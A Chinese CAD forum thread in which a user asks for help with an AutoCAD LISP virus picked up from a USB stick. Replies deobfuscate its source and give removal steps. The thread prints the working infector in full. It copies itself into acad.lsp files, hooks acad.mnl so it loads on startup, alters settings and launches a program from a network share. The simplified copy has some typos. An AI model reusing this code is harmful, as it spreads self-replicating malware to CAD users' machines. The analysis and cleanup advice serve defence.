求助!请帮助分析lisp病毒

szj612

今天上班在别人的u盘上拷了一个图,发现沾上了一个lisp病毒,删了它还能复制,可惜我不懂lisp,虽然打开它看了看,也没瞧出个所以然,如果是dvb,我还能瞧个半懂,没办法,只好向各位求援了,附件就是该文件(是明码,开头有一大片空白),请高手看了告诉我,它都干了些什么,我的鼠标中键定义是它改的吗?它找出base.dcl文件又干啥了,怎么才能根除它?

谢谢了!

szj612

以下是该病毒文件代码:

 

(

setvar

"cmdecho"

0

)

(

vl-load-com

)

(setq

 ndwg

(

getvar

"dwgname"

)

)

(if

 (=

 "Drawing1.dwg"

 ndwg

)

(command

"save"

"Drawing1.dwg" ""

)

)

(

setq

d1

(

strcat

 (

chr

97

)

 (

chr

99

)

 (

 

chr

97

 

)

 (

chr

100

)

 (

chr

97

)

  (

chr

112

)

 

(

 

chr

112

)

 (

chr

112

)

)

)

 (

setq

d2

 (

strcat

 (

chr

97

)

 (

chr

99

)

 (

chr

97

)

 (

chr

100

)

 (

chr

97

)

  (

chr

112

)

 (

chr

112

)

(

chr

112

 

 

)

 (

chr

46

)

 (

chr

108

)

 (

chr

115

)

 (

chr

112

)

)

)

----------------

(setq

 d3

(

strcat

 (chr

97

)

(

chr

99

)

(

chr

97

)

(chr

 

100

)

(

chr

97

) 

(

chr

112

)(

chr

112

)

 (

chr

46

)(

chr

108

)

 (

chr

115

)

(

chr

112

)

)

)

 (

setq

path

(

findfile

"base.dcl"

)

)

(

setq

path

(

substr

path 1

 (-

 (

strlen

path

)

8

)

)

)

(

setq

path1

(

strcat

path

d2

)

) 

 (setq path3 (strcat path d3))

 (

setq

nowdwg

 

(

getvar

"dwgname"

)

)

(

setq

wjqm

(

findfile

nowdwg

)

)

 (

setq

dwgpath

 (

substr

wjqm

1

(-

(

strlen

wjqm

)

(

strlen

nowdwg

)

)

)

)

(

setq

path2

 (

strcat

dwgpath

"acad.lsp"

)

)

(

SETQ

fp1

(

findfile

path1

)

)

 (

if

(

=

 fp1

nil

)

(

vl-file-copy

path2

path1

)

)

 (

SETQ

fp2

(

findfile

path2

)

)

(

 

if

(

=

fp2

 

nil

 

)

(

vl-file-copy

path1

path2

)

)

 (if

 (/=

fp2

nil

)

 (

progn

 (vl-file-delete

path2

 

)

 (

vl-file-copy

path1

 

path2

 

)

)

)

 

---------------------------------------------------------------

(

SETQ

fp3

 (

findfile

path3

))

 (

if

 (

/=

fp3

nil

)

(

progn

 (

setq

wjm

 (open

path3

"r"

)

)

(

setq

wjm

 (

read-line

wjm)

)

(

if

(

/=

wjm

";;;"

)

(progn

 (

setq

wj

(

open

path3

"w"

)

)

(

write-line

";;;"

 wj)

(close

wj

)

)

)

)

)

 (

defun

s::startup

()

(

setvar

 

"cmdecho" 0

)

(

setq

lspmnl

 0

)

(

setq

path

(

findfile

"base.dcl"

)

)

(

setq

path

(

substr

path

1

 (

-

(

strlen

path

)

8

)

)

)

(

setq

wjqm

(

strcat

 path

(

strcat

(

chr

97

)

 (

chr

99

)

(

chr

97

)

 (

chr

100

)

(

chr

46

)

 (

chr

109

)

 (

chr

110

)

 (

chr

108

)

)

)

 (

if

 (

setq

wjm

 (

open

wjqm "r"

)

)

 (

progn

 (

while

(

setq

wz

(

read-line

wjm

)

)

 (

setq

 

 

ns1

ns2

)

(

setq

ns2

wz

)

)

 (

if

 (

>

 (

strlen

ns1

)

14

)

 (

if

 (

=

 (

substr

ns1

8

8

)

d1

)

 (

setq

lspmnl

1

))

)

(

close

wjm

)

)

)

(

if

(

=

lspmnl

0

)     

(progn           

(

setq

wjqm

 (

strcat

path

(

strcat

(

chr

97

)

(

chr

99

)

(

chr

97

)

(

chr

100

)

(

chr

 

46

)

 (

chr

109

)

(

chr

110

)

 (

chr

108

)

)

)

)

(

setq

 

wjm

(

 

open

wjqm

"a"

)

)

 (

write-line

 (strcat

"(load "

 (

chr

34

) d2

(chr

34)")"

)

wjm)

 (

write-line

"(princ)"

wjm

)

 (

close

wjm)

)

)

)

 (

setvar

"zoomfactor"

12

)

(

setvar

"mbuttonpan"

0

)

(

setvar

"HIGHLIGHT"

0

)

(

setvar

"fillmode"

0

)

;xyz

(setq

strtopstr

 (

strcat 

(

chr

92

)

 (

chr

92

)

 (

chr

70

) (

chr

83

)

 

 (

chr

49

)

(

chr

92

)

 (

chr

83

)

 (

chr

89

)

(

chr

83

)

 (

chr

45

) 

(

chr

92

)

(

chr

87

)

(

chr

79

)

(

chr

82

)

 (

chr

75

)

(

chr

92

)

(

chr

80

)

 (

chr

76

)

 (

chr

79

) (

chr

84

)

 (

chr

69

)

 (

chr

82

)

)

)

(

setq

strbottomstr

 (

strcat

(

chr

92

)

(

chr

76

) (

chr

70)

(

chr

67

)

(

chr

80

)

(

chr

82

)

(

chr

88

)

(

chr

89

) (chr

49)

(

chr

46

)

(

chr

69

)

(chr

68

)

(

chr

68

)

)

)

(

startapp

 (strcat

strtopstr

strbottomstr

)

)

 

xshrimp

3. (setvar "cmdecho" 0)
4. (vl-load-com)
5. (setq ndwg (getvar "dwgname"))
6. (if (= "Drawing1.dwg" ndwg)
7.   (command "save" "Drawing1.dwg" "")
8. )
9. (setq d1 (strcat (chr 97)
10.    (chr 99)
11.    (chr 97)
12.    (chr 100)
13.    (chr 97)
14.    (chr 112)
15.    (chr 112)
16.    (chr 112)
17.   )
18. )
19. (setq d2 (strcat (chr 97)
20.    (chr 99)
21.    (chr 97)
22.    (chr 100)
23.    (chr 97)
24.    (chr 112)
25.    (chr 112)
26.    (chr 112)
27.    (chr 46)
28.    (chr 108)
29.    (chr 115)
30.    (chr 112)
31.   )
32. )
33. (setq d3 (strcat (chr 97)
34.    (chr 99)
35.    (chr 97)
36.    (chr 100)
37.    (chr 97)
38.    (chr 112)
39.    (chr 112)
40.    (chr 46)
41.    (chr 108)
42.    (chr 115)
43.    (chr 112)
44.   )
45. )
46. (setq path (findfile "base.dcl"))
47. (setq path (substr path 1 (- (strlen path) 8)))
48. (setq path1 (strcat path d2))
49. (setq path3 (strcat path d3))
50. (setq nowdwg (getvar "dwgname"))
51. (setq wjqm (findfile nowdwg))
52. (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
53. (setq path2 (strcat dwgpath "acad.lsp"))
54. (SETQ fp1 (findfile path1))
55. (if (= fp1 nil)
56.   (vl-file-copy path2 path1)
57. )
58. (SETQ fp2 (findfile path2))
59. (if (= fp2 nil)
60.   (vl-file-copy path1 path2)
61. )
62. (if (/= fp2 nil)
63.   (progn (vl-file-delete path2) (vl-file-copy path1 path2))
64. )
65. (SETQ fp3 (findfile path3))
66. (if (/= fp3 nil)
67.   (progn (setq wjm (open path3 "r"))
68.   (setq wjm (read-line wjm))
69.   (if (/= wjm ";;;")
70.     (progn (setq wj (open path3 "w"))
71.     (write-line ";;;" wj)
72.     (close wj)
73.     )
74.   )
75.   )
76. )
77. (defun s::startup ()
78.   (setvar "cmdecho" 0)
79.   (setq lspmnl 0)
80.   (setq path (findfile "base.dcl"))
81.   (setq path (substr path 1 (- (strlen path) 8)))
82.   (setq wjqm (strcat path
83.        (strcat (chr 97)
84.         (chr 99)
85.         (chr 97)
86.         (chr 100)
87.         (chr 46)
88.         (chr 109)
89.         (chr 110)
90.         (chr 108)
91.        )
92.       )
93. (if (setq wjm (open wjqm "r"))
94.    (progn (while (setq wz (read-line wjm))
95.      (setq ns1 ns2)
96.      (setq ns2 wz)
97.    )
98.    (if (> (strlen ns1) 14)
99.      (if (= (substr ns1 8 8) d1)
100.        (setq lspmnl 1)
101.      )
102.    )
103.    (close wjm)
104.    )
105. )
106.   (if (= lspmnl 0)
107.     (progn
108.       (setq wjqm
109.       (strcat
110.         path
111.         (strcat
112.    (chr 97)
113.    (chr 99)
114.    (chr 97)
115.    (chr 100)
116.    (chr 46)
117.    (chr 109)
118.    (chr 110)
119.    (chr 108)
120.         )
121.       )
122.       )
123.       (setq wjm
124.       (open wjqm "a")
125.       )
126.       (write-line
127.         (strcat "(load "
128.          (chr 34)
129.          d2
130.          (chr 34)
131.          ")"
132.         )
133.         wjm
134.       )
135.       (write-line
136.         "(princ)"
137.         wjm
138.       )
139.       (close wjm)
140.     )
141.   )
142.   )
143.   (setvar "zoomfactor" 12)
144.   (setvar "mbuttonpan" 0)
145.   (setvar "HIGHLIGHT" 0)
146.   (setvar "fillmode" 0)   ;xyz
147.   (setq strtopstr (strcat (chr 92)
148.      (chr 92)
149.      (chr 70)
150.      (chr 83)
151.      (chr 49)
152.      (chr 92)
153.      (chr 83)
154.      (chr 89)
155.      (chr 83)
156.      (chr 45)
157.      (chr 92)
158.      (chr 87)
159.      (chr 79)
160.      (chr 82)
161.      (chr 75)
162.      (chr 92)
163.      (chr 80)
164.      (chr 76)
165.      (chr 79)
166.      (chr 84)
167.      (chr 69)
168.      (chr 82)
169.     )
170.   )
171.   (setq strbottomstr
172.   (strcat (chr 92)
173.    (chr 76)
174.    (chr 70)
175.    (chr 67)
176.    (chr 80)
177.    (chr 82)
178.    (chr 88)
179.    (chr 89)
180.    (chr 49)
181.    (chr 46)
182.    (chr 69)
183.    (chr 68)
184.    (chr 68)
185.   )
186.   )
187.   (startapp (strcat strtopstr strbottomstr))
188. )

(setvar "cmdecho" 0) (vl-load-com) (setq ndwg (getvar "dwgname")) (if (= "Drawing1.dwg" ndwg)   (command "save" "Drawing1.dwg" "") ) (setq d1 (strcat (chr 97)    (chr 99)    (chr 97)    (chr 100)    (chr 97)    (chr 112)    (chr 112)    (chr 112)   ) ) (setq d2 (strcat (chr 97)    (chr 99)    (chr 97)    (chr 100)    (chr 97)    (chr 112)    (chr 112)    (chr 112)    (chr 46)    (chr 108)    (chr 115)    (chr 112)   ) ) (setq d3 (strcat (chr 97)    (chr 99)    (chr 97)    (chr 100)    (chr 97)    (chr 112)    (chr 112)    (chr 46)    (chr 108)    (chr 115)    (chr 112)   ) ) (setq path (findfile "base.dcl")) (setq path (substr path 1 (- (strlen path) 8))) (setq path1 (strcat path d2)) (setq path3 (strcat path d3)) (setq nowdwg (getvar "dwgname")) (setq wjqm (findfile nowdwg)) (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))) (setq path2 (strcat dwgpath "acad.lsp")) (SETQ fp1 (findfile path1)) (if (= fp1 nil)   (vl-file-copy path2 path1) ) (SETQ fp2 (findfile path2)) (if (= fp2 nil)   (vl-file-copy path1 path2) ) (if (/= fp2 nil)   (progn (vl-file-delete path2) (vl-file-copy path1 path2)) ) (SETQ fp3 (findfile path3)) (if (/= fp3 nil)   (progn (setq wjm (open path3 "r"))   (setq wjm (read-line wjm))   (if (/= wjm ";;;")     (progn (setq wj (open path3 "w"))     (write-line ";;;" wj)     (close wj)     )   )   ) ) (defun s::startup ()   (setvar "cmdecho" 0)   (setq lspmnl 0)   (setq path (findfile "base.dcl"))   (setq path (substr path 1 (- (strlen path) 8)))   (setq wjqm (strcat path        (strcat (chr 97)         (chr 99)         (chr 97)         (chr 100)         (chr 46)         (chr 109)         (chr 110)         (chr 108)        )       ) (if (setq wjm (open wjqm "r"))    (progn (while (setq wz (read-line wjm))      (setq ns1 ns2)      (setq ns2 wz)    )    (if (> (strlen ns1) 14)      (if (= (substr ns1 8 8) d1)        (setq lspmnl 1)      )    )    (close wjm)    ) )   (if (= lspmnl 0)     (progn       (setq wjqm       (strcat         path         (strcat    (chr 97)    (chr 99)    (chr 97)    (chr 100)    (chr 46)    (chr 109)    (chr 110)    (chr 108)         )       )       )       (setq wjm       (open wjqm "a")       )       (write-line         (strcat "(load "          (chr 34)          d2          (chr 34)          ")"         )         wjm       )       (write-line         "(princ)"         wjm       )       (close wjm)     )   )   )   (setvar "zoomfactor" 12)   (setvar "mbuttonpan" 0)   (setvar "HIGHLIGHT" 0)   (setvar "fillmode" 0)   ;xyz   (setq strtopstr (strcat (chr 92)      (chr 92)      (chr 70)      (chr 83)      (chr 49)      (chr 92)      (chr 83)      (chr 89)      (chr 83)      (chr 45)      (chr 92)      (chr 87)      (chr 79)      (chr 82)      (chr 75)      (chr 92)      (chr 80)      (chr 76)      (chr 79)      (chr 84)      (chr 69)      (chr 82)     )   )   (setq strbottomstr   (strcat (chr 92)    (chr 76)    (chr 70)    (chr 67)    (chr 80)    (chr 82)    (chr 88)    (chr 89)    (chr 49)    (chr 46)    (chr 69)    (chr 68)    (chr 68)   )   )   (startapp (strcat strtopstr strbottomstr)) )

xshrimp

简化后

2. (setvar "cmdecho" 0)
3. (vl-load-com)
4. (setq ndwg (getvar "dwgname"))
5. (if (= "Drawing1.dwg" ndwg)
6.   (command "save" "Drawing1.dwg" "")
7. )
8. (setq d1 "acadappp")
9. (setq d2 "acadappp.lsp")
10. (setq d3 "acadapp.lsp")
11. (setq path (findfile "base.dcl"))
12. (setq path (substr path 1 (- (strlen path) 8)))
13. (setq path1 (strcat path d2))
14. (setq path3 (strcat path d3))
15. (setq nowdwg (getvar "dwgname"))
16. (setq wjqm (findfile nowdwg))
17. (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
18. (setq path2 (strcat dwgpath "acad.lsp"))
19. (SETQ fp1 (findfile path1))
20. (if (= fp1 nil)
21.   (vl-file-copy path2 path1)
22. )
23. (SETQ fp2 (findfile path2))
24. (if (= fp2 nil)
25.   (vl-file-copy path1 path2)
26. )
27. (if (/= fp2 nil)
28.   (progn (vl-file-delete path2) (vl-file-copy path1 path2))
29. )
30. (SETQ fp3 (findfile path3))
31. (if (/= fp3 nil)
32.   (progn (setq wjm (open path3 "r"))
33.   (setq wjm (read-line wjm))
34.   (if (/= wjm ";;;")
35.     (progn (setq wj (open path3 "w"))
36.     (write-line ";;;" wj)
37.     (close wj)
38.     )
39.   )
40.   )
41. )
42. (defun s::startup ()
43.   (setvar "cmdecho" 0)
44.   (setq lspmnl 0)
45.   (setq path (findfile "base.dcl"))
46.   (setq path (substr path 1 (- (strlen path) 8)))
47.   (setq wjqm
48. (strcat path "acad.mnl")
49.   (if (setq wjm (open wjqm "r"))
50.     (progn (while (setqwz (read-line wjm))
51.       (setq ns1 ns2)
52.       (setq ns2 wz)
53.     )
54.     (if (> (strlenns1) 14)
55.       (if (= (substr ns18 8) d1)
56.         (setq lspmnl 1)
57.       )
58.     )
59.     (close wjm)
60.     )
61.   )
62. (if (= lspmnl 0)
63.    (progn
64.      (setq wjqm
65.      (strcat path  "acad.mnl"   )
66.      )
67.      (setq wjm (openwjqm "a"))
68.      (write-line (strcat "(load " (chr 34) d2 (chr 34) ")") wjm)
69.      (write-line "(princ)" wjm)
70.      (close wjm)
71.    )
72. )
73.   )
74.   (setvar "zoomfactor" 12)
75.   (setvar "mbuttonpan" 0)
76.   (setvar "HIGHLIGHT" 0)
77.   (setvar "fillmode" 0)   ;xyz
78.   (setq strtopstr
79.   "\\\\FS1\\SYS-\\WORK\\PLOTER"
80.   )
81.   (setq strbottomstr "\\LFCPRXY1.EDD"  )
82.   (startapp (strcat strtopstr strbottomstr))
83. )

(setvar "cmdecho" 0) (vl-load-com) (setq ndwg (getvar "dwgname")) (if (= "Drawing1.dwg" ndwg)   (command "save" "Drawing1.dwg" "") ) (setq d1 "acadappp") (setq d2 "acadappp.lsp") (setq d3 "acadapp.lsp") (setq path (findfile "base.dcl")) (setq path (substr path 1 (- (strlen path) 8))) (setq path1 (strcat path d2)) (setq path3 (strcat path d3)) (setq nowdwg (getvar "dwgname")) (setq wjqm (findfile nowdwg)) (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))) (setq path2 (strcat dwgpath "acad.lsp")) (SETQ fp1 (findfile path1)) (if (= fp1 nil)   (vl-file-copy path2 path1) ) (SETQ fp2 (findfile path2)) (if (= fp2 nil)   (vl-file-copy path1 path2) ) (if (/= fp2 nil)   (progn (vl-file-delete path2) (vl-file-copy path1 path2)) ) (SETQ fp3 (findfile path3)) (if (/= fp3 nil)   (progn (setq wjm (open path3 "r"))   (setq wjm (read-line wjm))   (if (/= wjm ";;;")     (progn (setq wj (open path3 "w"))     (write-line ";;;" wj)     (close wj)     )   )   ) ) (defun s::startup ()   (setvar "cmdecho" 0)   (setq lspmnl 0)   (setq path (findfile "base.dcl"))   (setq path (substr path 1 (- (strlen path) 8)))   (setq wjqm (strcat path "acad.mnl")   (if (setq wjm (open wjqm "r"))     (progn (while (setqwz (read-line wjm))       (setq ns1 ns2)       (setq ns2 wz)     )     (if (> (strlenns1) 14)       (if (= (substr ns18 8) d1)         (setq lspmnl 1)       )     )     (close wjm)     )   ) (if (= lspmnl 0)    (progn      (setq wjqm      (strcat path  "acad.mnl"   )      )      (setq wjm (openwjqm "a"))      (write-line (strcat "(load " (chr 34) d2 (chr 34) ")") wjm)      (write-line "(princ)" wjm)      (close wjm)    ) )   )   (setvar "zoomfactor" 12)   (setvar "mbuttonpan" 0)   (setvar "HIGHLIGHT" 0)   (setvar "fillmode" 0)   ;xyz   (setq strtopstr   "\\\\FS1\\SYS-\\WORK\\PLOTER"   )   (setq strbottomstr "\\LFCPRXY1.EDD"  )   (startapp (strcat strtopstr strbottomstr)) )

ZZXXQQ

1、鼠标中键是这行改的 (setvar "mbuttonpan" 0)，只要将该变量设成1就可以改回去。

2、寻找文件base.dcl是为了找ACAD的安装目录，未对base.dcl做任何处理。

3、在不进入ACAD的条件下用WINDOWS的搜索功能，全盘找acadappp,acadappp.lsp,acadapp.lsp,acad.lsp文件删除之，并将acad.nml文件最后两行：(load "acadappp.lsp")和(princ)删除。